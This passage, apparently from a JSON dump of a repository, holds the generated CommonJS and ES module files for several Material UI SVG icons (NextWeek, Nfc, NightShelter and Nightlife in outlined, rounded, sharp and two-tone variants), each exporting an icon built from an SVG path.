    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11 18.5 4-4-4-4-1 1 3 3-3 3zM20 7h-4V5c0-.55-.22-1.05-.59-1.41C15.05 3.22 14.55 3 14 3h-4c-1.1 0-2 .9-2 2v2H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2M10 5h4v2h-4zm10 15H4V9h16z\"\n}), 'NextWeekOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NextWeekOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11 18.5 4-4-4-4-1 1 3 3-3 3zM20 7h-4V5c0-.55-.22-1.05-.59-1.41C15.05 3.22 14.55 3 14 3h-4c-1.1 0-2 .9-2 2v2H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2M10 5h4v2h-4zm10 15H4V9h16z\"\n}), 'NextWeekOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NextWeekRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 7h-4V5c0-.55-.22-1.05-.59-1.41C15.05 3.22 14.55 3 14 3h-4c-1.1 0-2 .9-2 2v2H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2M10 5h4v2h-4zm.5 13c-.28-.28-.28-.72 0-1l2.5-2.5-2.5-2.5c-.28-.28-.28-.72 0-1s.72-.28 1 0l3.15 3.15c.2.2.2.51 0 .71L11.5 18c-.28.28-.72.28-1 0\"\n}), 'NextWeekRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NextWeekRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 7h-4V5c0-.55-.22-1.05-.59-1.41C15.05 3.22 14.55 3 14 3h-4c-1.1 0-2 .9-2 2v2H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2M10 5h4v2h-4zm.5 13c-.28-.28-.28-.72 0-1l2.5-2.5-2.5-2.5c-.28-.28-.28-.72 0-1s.72-.28 1 0l3.15 3.15c.2.2.2.51 0 .71L11.5 18c-.28.28-.72.28-1 0\"\n}), 'NextWeekRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NextWeekSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 7h-6V5c0-.55-.22-1.05-.59-1.41C15.05 3.22 14.55 3 14 3h-4c-1.1 0-2 .9-2 2v2H2v15h20zM10 5h4v2h-4zm1 13.5-1-1 3-3-3-3 1-1 4 4z\"\n}), 'NextWeekSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NextWeekSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 7h-6V5c0-.55-.22-1.05-.59-1.41C15.05 3.22 14.55 3 14 3h-4c-1.1 0-2 .9-2 2v2H2v15h20zM10 5h4v2h-4zm1 13.5-1-1 3-3-3-3 1-1 4 4z\"\n}), 'NextWeekSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NextWeekTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 20h16V9H4zm6-8.5 1-1 4 4-4 4-1-1 3-3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11 18.5 4-4-4-4-1 1 3 3-3 3zM20 7h-4V5c0-.55-.22-1.05-.59-1.41C15.05 3.22 14.55 3 14 3h-4c-1.1 0-2 .9-2 2v2H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2M10 5h4v2h-4zm10 15H4V9h16z\"\n}, \"1\")], 'NextWeekTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NextWeekTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 20h16V9H4zm6-8.5 1-1 4 4-4 4-1-1 3-3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m11 18.5 4-4-4-4-1 1 3 3-3 3zM20 7h-4V5c0-.55-.22-1.05-.59-1.41C15.05 3.22 14.55 3 14 3h-4c-1.1 0-2 .9-2 2v2H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2M10 5h4v2h-4zm10 15H4V9h16z\"\n}, \"1\")], 'NextWeekTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Nfc.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h16zM18 6h-5c-1.1 0-2 .9-2 2v2.28c-.6.35-1 .98-1 1.72 0 1.1.9 2 2 2s2-.9 2-2c0-.74-.4-1.38-1-1.72V8h3v8H8V8h2V6H6v12h12z\"\n}), 'Nfc');"
  },
  {
    "path": "packages/mui-icons-material/lib/Nfc.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h16zM18 6h-5c-1.1 0-2 .9-2 2v2.28c-.6.35-1 .98-1 1.72 0 1.1.9 2 2 2s2-.9 2-2c0-.74-.4-1.38-1-1.72V8h3v8H8V8h2V6H6v12h12z\"\n}), 'Nfc');"
  },
  {
    "path": "packages/mui-icons-material/lib/NfcOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h16zM18 6h-5c-1.1 0-2 .9-2 2v2.28c-.6.35-1 .98-1 1.72 0 1.1.9 2 2 2s2-.9 2-2c0-.74-.4-1.38-1-1.72V8h3v8H8V8h2V6H6v12h12z\"\n}), 'NfcOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NfcOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h16zM18 6h-5c-1.1 0-2 .9-2 2v2.28c-.6.35-1 .98-1 1.72 0 1.1.9 2 2 2s2-.9 2-2c0-.74-.4-1.38-1-1.72V8h3v8H8V8h2V6H6v12h12z\"\n}), 'NfcOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NfcRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-1 18H5c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h14c.55 0 1 .45 1 1v14c0 .55-.45 1-1 1M16 6h-3c-1.1 0-2 .9-2 2v2.28c-.6.35-1 .98-1 1.72 0 1.1.9 2 2 2s2-.9 2-2c0-.74-.4-1.38-1-1.72V8h3v7c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1V8h1c.55 0 1-.45 1-1s-.45-1-1-1H8c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2\"\n}), 'NfcRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NfcRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-1 18H5c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h14c.55 0 1 .45 1 1v14c0 .55-.45 1-1 1M16 6h-3c-1.1 0-2 .9-2 2v2.28c-.6.35-1 .98-1 1.72 0 1.1.9 2 2 2s2-.9 2-2c0-.74-.4-1.38-1-1.72V8h3v7c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1V8h1c.55 0 1-.45 1-1s-.45-1-1-1H8c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2\"\n}), 'NfcRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NfcSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H2v20h20zm-2 18H4V4h16zM18 6h-7v4.28c-.6.35-1 .98-1 1.72 0 1.1.9 2 2 2s2-.9 2-2c0-.74-.4-1.38-1-1.72V8h3v8H8V8h2V6H6v12h12z\"\n}), 'NfcSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NfcSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H2v20h20zm-2 18H4V4h16zM18 6h-7v4.28c-.6.35-1 .98-1 1.72 0 1.1.9 2 2 2s2-.9 2-2c0-.74-.4-1.38-1-1.72V8h3v8H8V8h2V6H6v12h12z\"\n}), 'NfcSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NfcTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h16zM18 6h-5c-1.1 0-2 .9-2 2v2.28c-.6.35-1 .98-1 1.72 0 1.1.9 2 2 2s2-.9 2-2c0-.74-.4-1.38-1-1.72V8h3v8H8V8h2V6H6v12h12z\"\n}), 'NfcTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NfcTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h16zM18 6h-5c-1.1 0-2 .9-2 2v2.28c-.6.35-1 .98-1 1.72 0 1.1.9 2 2 2s2-.9 2-2c0-.74-.4-1.38-1-1.72V8h3v8H8V8h2V6H6v12h12z\"\n}), 'NfcTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightShelter.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 4 9v12h16V9zm-2.25 9.5c.69 0 1.25.56 1.25 1.25S10.44 15 9.75 15s-1.25-.56-1.25-1.25.56-1.25 1.25-1.25M17 18h-1v-1.5H8V18H7v-7h1v4.5h3.5V12H15c1.1 0 2 .9 2 2z\"\n}), 'NightShelter');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightShelter.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 4 9v12h16V9zm-2.25 9.5c.69 0 1.25.56 1.25 1.25S10.44 15 9.75 15s-1.25-.56-1.25-1.25.56-1.25 1.25-1.25M17 18h-1v-1.5H8V18H7v-7h1v4.5h3.5V12H15c1.1 0 2 .9 2 2z\"\n}), 'NightShelter');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightShelterOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 5.5 6 4.5v9H6v-9zM12 3 4 9v12h16V9zm3 9h-3.5v3.5H8V11H7v7h1v-1.5h8V18h1v-4c0-1.1-.9-2-2-2m-5.25.5c-.69 0-1.25.56-1.25 1.25S9.06 15 9.75 15 11 14.44 11 13.75s-.56-1.25-1.25-1.25\"\n}), 'NightShelterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightShelterOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 5.5 6 4.5v9H6v-9zM12 3 4 9v12h16V9zm3 9h-3.5v3.5H8V11H7v7h1v-1.5h8V18h1v-4c0-1.1-.9-2-2-2m-5.25.5c-.69 0-1.25.56-1.25 1.25S9.06 15 9.75 15 11 14.44 11 13.75s-.56-1.25-1.25-1.25\"\n}), 'NightShelterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightShelterRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10.8 3.9-6 4.5c-.5.38-.8.97-.8 1.6v9c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-9c0-.63-.3-1.22-.8-1.6l-6-4.5c-.71-.53-1.69-.53-2.4 0m-1.05 8.6c.69 0 1.25.56 1.25 1.25S10.44 15 9.75 15s-1.25-.56-1.25-1.25.56-1.25 1.25-1.25M16.5 18c-.28 0-.5-.22-.5-.5v-1H8v1c0 .28-.22.5-.5.5s-.5-.22-.5-.5v-6c0-.28.22-.5.5-.5s.5.22.5.5v4h3.5v-3c0-.28.22-.5.5-.5h3c1.1 0 2 .9 2 2v3.5c0 .28-.22.5-.5.5\"\n}), 'NightShelterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightShelterRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10.8 3.9-6 4.5c-.5.38-.8.97-.8 1.6v9c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-9c0-.63-.3-1.22-.8-1.6l-6-4.5c-.71-.53-1.69-.53-2.4 0m-1.05 8.6c.69 0 1.25.56 1.25 1.25S10.44 15 9.75 15s-1.25-.56-1.25-1.25.56-1.25 1.25-1.25M16.5 18c-.28 0-.5-.22-.5-.5v-1H8v1c0 .28-.22.5-.5.5s-.5-.22-.5-.5v-6c0-.28.22-.5.5-.5s.5.22.5.5v4h3.5v-3c0-.28.22-.5.5-.5h3c1.1 0 2 .9 2 2v3.5c0 .28-.22.5-.5.5\"\n}), 'NightShelterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightShelterSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 4 9v12h16V9zm-2.25 9.5c.69 0 1.25.56 1.25 1.25S10.44 15 9.75 15s-1.25-.56-1.25-1.25.56-1.25 1.25-1.25M17 18h-1v-1.5H8V18H7v-7h1v4.5h3.5V12H17z\"\n}), 'NightShelterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightShelterSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 4 9v12h16V9zm-2.25 9.5c.69 0 1.25.56 1.25 1.25S10.44 15 9.75 15s-1.25-.56-1.25-1.25.56-1.25 1.25-1.25M17 18h-1v-1.5H8V18H7v-7h1v4.5h3.5V12H17z\"\n}), 'NightShelterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightShelterTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 5.5 6 4.5v9H6v-9zm3 6.5h-3.5v3.5H8V11H7v7h1v-1.5h8V18h1v-4c0-1.1-.9-2-2-2m-5.25.5c-.69 0-1.25.56-1.25 1.25S9.06 15 9.75 15 11 14.44 11 13.75s-.56-1.25-1.25-1.25\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 5.5 6 4.5v9H6v-9zM12 3 4 9v12h16V9zm3 9h-3.5v3.5H8V11H7v7h1v-1.5h8V18h1v-4c0-1.1-.9-2-2-2m-5.25.5c-.69 0-1.25.56-1.25 1.25S9.06 15 9.75 15 11 14.44 11 13.75s-.56-1.25-1.25-1.25\"\n}, \"1\")], 'NightShelterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightShelterTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 5.5 6 4.5v9H6v-9zm3 6.5h-3.5v3.5H8V11H7v7h1v-1.5h8V18h1v-4c0-1.1-.9-2-2-2m-5.25.5c-.69 0-1.25.56-1.25 1.25S9.06 15 9.75 15 11 14.44 11 13.75s-.56-1.25-1.25-1.25\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 5.5 6 4.5v9H6v-9zM12 3 4 9v12h16V9zm3 9h-3.5v3.5H8V11H7v7h1v-1.5h8V18h1v-4c0-1.1-.9-2-2-2m-5.25.5c-.69 0-1.25.56-1.25 1.25S9.06 15 9.75 15 11 14.44 11 13.75s-.56-1.25-1.25-1.25\"\n}, \"1\")], 'NightShelterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Nightlife.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 5h14l-6 9v4h2v2H5v-2h2v-4zm9.1 4 1.4-2H4.49l1.4 2zM17 5h5v3h-3v9c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3c.35 0 .69.06 1 .17z\"\n}), 'Nightlife');"
  },
  {
    "path": "packages/mui-icons-material/lib/Nightlife.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 5h14l-6 9v4h2v2H5v-2h2v-4zm9.1 4 1.4-2H4.49l1.4 2zM17 5h5v3h-3v9c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3c.35 0 .69.06 1 .17z\"\n}), 'Nightlife');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightlifeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 5h14l-6 9v4h2v2H5v-2h2v-4zm9.1 4 1.4-2H4.49l1.4 2zM17 5h5v3h-3v9c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3c.35 0 .69.06 1 .17z\"\n}), 'NightlifeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightlifeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 5h14l-6 9v4h2v2H5v-2h2v-4zm9.1 4 1.4-2H4.49l1.4 2zM17 5h5v3h-3v9c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3c.35 0 .69.06 1 .17z\"\n}), 'NightlifeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightlifeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.87 5h10.26c.8 0 1.28.89.83 1.55L9 14v4h1c.55 0 1 .45 1 1s-.45 1-1 1H6c-.55 0-1-.45-1-1s.45-1 1-1h1v-4L2.04 6.55C1.59 5.89 2.07 5 2.87 5m7.23 4 1.4-2H4.49l1.4 2zM19 5h1.5c.83 0 1.5.67 1.5 1.5S21.33 8 20.5 8H19v9c0 1.84-1.64 3.28-3.54 2.95-1.21-.21-2.2-1.2-2.41-2.41C12.72 15.64 14.16 14 16 14c.35 0 .69.06 1 .17V7c0-1.1.9-2 2-2\"\n}), 'NightlifeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightlifeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.87 5h10.26c.8 0 1.28.89.83 1.55L9 14v4h1c.55 0 1 .45 1 1s-.45 1-1 1H6c-.55 0-1-.45-1-1s.45-1 1-1h1v-4L2.04 6.55C1.59 5.89 2.07 5 2.87 5m7.23 4 1.4-2H4.49l1.4 2zM19 5h1.5c.83 0 1.5.67 1.5 1.5S21.33 8 20.5 8H19v9c0 1.84-1.64 3.28-3.54 2.95-1.21-.21-2.2-1.2-2.41-2.41C12.72 15.64 14.16 14 16 14c.35 0 .69.06 1 .17V7c0-1.1.9-2 2-2\"\n}), 'NightlifeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NightlifeSharp.js",
